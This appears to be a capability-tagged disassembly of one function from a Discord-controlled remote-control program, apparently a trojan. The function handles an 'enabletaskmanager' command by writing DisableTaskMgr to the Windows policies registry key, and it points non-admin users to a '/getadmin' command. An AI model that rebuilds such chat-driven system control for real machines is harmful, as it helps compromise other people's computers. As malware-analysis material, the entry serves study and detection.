Function at 0x1400670f0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x1400af080]
xor rax, rbp
mov qword [rbp + 0x438], rax
mov dword [rbp + 0x404], 0
lea rcx, [0x1400c01c0]
call fcn.14002f99b
nop
mov rax, qword [rbp + 0x468]
add rax, 0x40
mov qword [rbp + 0x418], rax
lea rdx, [rbp + 0x248]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.dpp.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::interaction::get_command_name_void____ptr64]
mov qword [rbp + 0x420], rax
mov eax, dword [rbp + 0x404]
or eax, 1
mov dword [rbp + 0x404], eax
lea rdx, str.enabletaskmanager
mov rcx, qword [rbp + 0x420]
call fcn.14002ea5a
movzx eax, al
test eax, eax
je 0x1400671d9
mov rax, qword [rbp + 0x468]
add rax, 0xd0
mov qword [rbp + 0x428], rax
mov rdx, qword [0x1400b0ea0]
mov rcx, qword [rbp + 0x428]
call fcn.14002f7d9
movzx eax, al
test eax, eax
je 0x1400671d9
mov dword [rbp + 0x430], 1
jmp 0x1400671e3
mov dword [rbp + 0x430], 0
movzx eax, byte [rbp + 0x430]
mov byte [rbp + 0x224], al
mov eax, dword [rbp + 0x404]
and eax, 1
test eax, eax
je 0x140067211
and dword [rbp + 0x404], 0xfffffffe
lea rcx, [rbp + 0x248]
call fcn.14002e4bf
nop
movzx eax, byte [rbp + 0x224]
test eax, eax
je 0x1400673d0
mov rax, qword [rbp + 0x460]
cmp dword [rax], 0
je 0x140067347
lea rax, [rbp + 0x288]
mov qword [rbp + 0x2e8], rax
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x428], rax
lea rdx, str.attempting_to_enable_task_manager
lea rcx, [rbp + 0x308]
call fcn.14002ebe0
nop
mov r8, qword [rbp + 0x428]
lea rdx, [rbp + 0x308]
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x308]
call fcn.14002e4bf
nop
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rbp + 8], rax
lea rax, str.DisableTaskMgr
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x44], 0
lea rax, [rbp + 0x84]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x1400673ce
mov rax, qword [rbp + 0x460]
cmp dword [rax], 0
jne 0x1400673ce
lea rax, [rbp + 0x348]
mov qword [rbp + 0x3a8], rax
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x428], rax
lea rdx, str.you_are_not_admin_you_need_admin_to_run_this_command_run__getadmin
lea rcx, [rbp + 0x3c8]
call fcn.14002ebe0
nop
mov r8, qword [rbp + 0x428]
lea rdx, [rbp + 0x3c8]
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x3c8]
call fcn.14002e4bf
nop
jmp 0x1400673e4
lea rdx, str.not_for_me_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002e2f8
nop
lea rcx, [rbp - 0x50]
lea rdx, [0x1400959a0]
call fcn.14002f4fa
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.14002eca8
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret